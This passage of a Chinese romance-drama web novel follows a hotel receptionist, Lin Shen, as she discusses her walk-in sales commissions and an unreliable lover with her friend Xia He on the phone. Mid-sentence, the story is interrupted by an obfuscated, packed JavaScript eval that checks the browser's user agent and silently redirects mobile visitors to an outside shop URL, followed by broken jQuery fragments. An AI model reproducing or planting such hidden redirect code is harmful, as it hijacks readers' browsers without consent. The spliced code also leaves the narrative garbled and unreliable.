早上十点半，林深是被电话吵醒的。昨晚夜班忙到快九点才交班，下班的时候天已经大亮。她回家洗了个澡，躺下时还想着只睡两个小时，结果一睁眼已经快中午。手机还在响，她闭着眼摸索半天，终于接通。
“喂。”
电话那头沉默两秒：“你刚起？”
林深把手机拿远看了一眼——夏禾。
“废话。”
“我都怀疑你死了。”
“没死。”
“那为什么三个小时不回微信？”
林深翻了个身：“因为我睡觉。”
“你不是说睡两个小时吗？”
“我还说过减肥。”
电话那头传来夏禾毫不客气的笑声：“行，活着就行。”
林深坐起来。窗帘没拉严，阳光从缝隙里照进来。房间不大，甚至有点旧，和以前开店时想象的未来完全不一样。但奇怪的是，她并不讨厌。至少这里没有欠款，没有供应商，没有十八万房租，没有每天一睁眼就计算今天会亏多少钱。
夏禾忽然问：“酒店怎么样？”
“挺好。”
“真的假的？”
“真的。”
“我不信。”
林深笑了一下：“那你打电话问什么。”
“因为你以前说过，这辈子最讨厌服务行业。”
“现在也讨厌。”
“那你怎么干下来的？”
林深靠在床头想了想：“可能因为穷。”
夏禾又笑了：“放屁。”
“真的。”
“你一个从小不知道菜价的人跟我说穷？”
林深没接话。她知道夏禾说得对——父亲在的时候她从来没为钱发愁过。后来开店也是，两百万砸进去的时候她甚至没觉得那是个特别大的数字。直到店没了，直到父亲出事，直到所有事情一起砸下来，她才第一次知道，原来钱真的会把人压得喘不过气。
夏禾忽然问：“工资够花吗？”
“底薪不够。”
“那你怎么活？”
“提成。”
“你一个前台有什么提成？”
林深笑了：“Walk-in。”
“什么东西？”
“散客。”
“听不懂。”
“就是不在网上订房，直接拖着箱子来前台开房的人。”
夏禾沉默几秒：“还有这种人？”
“以前我也觉得没有。”
“结果呢？”
“结果很多。”林深下床给自己倒了杯水，“有时候一天能来十几个。”
“这么夸张？”
“真的。”
“他们为什么不用携程？”
“因为很多人根本懒得看，还有些人觉得前台便宜，其实有时候确实便宜。”
夏禾彻底来了兴趣：“然后呢？”
“卖出去有提成。”
“多少？”
“房费扣税以后百分之五。”
电话那头安静了两秒：“卧槽。”
“对。”
“那不是挺爽？”
“还行。”
“一个月能有多少？”
林深想了想，报了个数字。夏禾直接骂了一句。
“林深。”
“嗯？”
“你是不是在凡尔赛？”
“没有。”
“你这提成都快赶上半个月工资了。”
林深低头喝了口水，没说话。其实她刚知道的时候也挺意外。刚进酒店那会儿她觉得前台就是开房卡的，后来才发现根本不是。尤其夜班，很多客人都是临时来的——出差、转机、喝酒、高速下来休息，各种各样的人。他们走进来，问一句“还有房吗”，然后一切就开始了。什么房型、什么价格、什么早餐、什么景观、什么升级。有的人三分钟成交，有的人能聊半小时。有时候一晚上卖出去好几间房。第二个月工资发下来，她盯着工资条看了很久，第一次发现，原来自己还挺会卖东西。
想到这里，林深忽然笑了一下。夏禾立刻察觉：“你笑什么？”
“没什么。”
“说。”
“我发现我可能挺适合做销售。”
“废话。”夏禾毫不客气，“你才发现？”
“什么意思？”
“你以前卖会员卡就挺厉害，开店的时候天天忽悠人加群，现在卖房，以后说不定卖飞机。”
林深笑出了声：“你神经病。”
“我认真的。”
“你就是嘴甜。”
“很多人不买东西，不是因为东西不好，是因为不会卖。”
电话那头忽然安静下来。过了几秒，夏禾声音低了一点：“其实我一直觉得你挺厉害的。”
林深怔了一下：“怎么突然煽情。”
“没有。就是觉得，换成别人，店倒了，两百万没了，狗差点被打死，父亲又出事，估计早废了。”林深没说话，房间忽然安静下来。窗外有人骑着电动车经过，风吹动窗帘发出轻轻的声音。夏禾继续说：“结果你还能跑去上班，还能赚钱，还能活着，已经很厉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704033|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
害了。”林深低头看着手里的杯子，过了一会儿轻轻嗯了一声。
夏禾忽然问：“他呢？”
房间一下安静下来。林深没有说话，甚至连表情都没变，可刚才还轻松的气氛忽然消失了。夏禾叹了口气：“又没回你？”林深看向床头，手机放在那里，屏幕黑着，安安静静。她昨天夜班今天睡觉，其实根本没看几次手机，可她知道——没有，什么都没有。
“没有。”她说，声音很轻。
夏禾沉默了一会儿：“多久了？”
“忘了。”
“骗人。”
“真的忘了。”
林深靠在床头看着窗外。她确实忘了，不是不记得日期，而是不敢记。因为记得太清楚会更难受。有时候是半天，有时候是一天，有时候两天，有时候突然消失好几天，然后像什么都没发生一样回来，发一句消息，打一通电话，说几句好听的话，她就又开始等。像个傻子一样，周而复始。
夏禾在电话那头骂了一句：“你真是有病。”
“嗯。”
“林深。”
“嗯？”
“你赚那么多提成有什么用。”
“什么？”
“白天卖房，晚上卖命。”
林深愣了一下，然后笑了。笑着笑着眼眶忽然有点酸，她赶紧低头喝水，假装没听见。夏禾也没继续说，两个人沉默了一会儿。电话那头传来翻东西的声音。
“算了，晚上有空吗？”
“干嘛？”
“吃饭。”
“我夜班。”
“那明天。”
“明天也夜班。”
“后天。”
“后天也是。”
夏禾沉默两秒：“你们酒店是不是准备把你焊死在前台？”林深终于笑出了声：“差不多。”“行吧，那你好好上班。”“好。”“还有。”“什么？”“别一直盯着手机。”
电话挂断，房间重新安静下来。林深坐在床边，没有动。过了一会儿她还是拿起手机，点开那个熟悉的聊天框。最后一条消息还是她发的，上面没有新的回复。房间里很安静，阳光落在床单上，手机屏幕映着她的脸。她看了很久，最后退出聊天界面，锁屏，放下。然后走进卫生间洗漱。
镜子里的女人眼底有些疲惫，但气色比前几年好了很多。工作在变好，收入在变好，生活在变好。只有那个人，像一根扎在心里的刺，不深，却一直在那里，拔不出来。她低头打开水龙头，冰凉的水流过指尖。窗外阳光很好，可她还是忍不住想——他现在在干什么。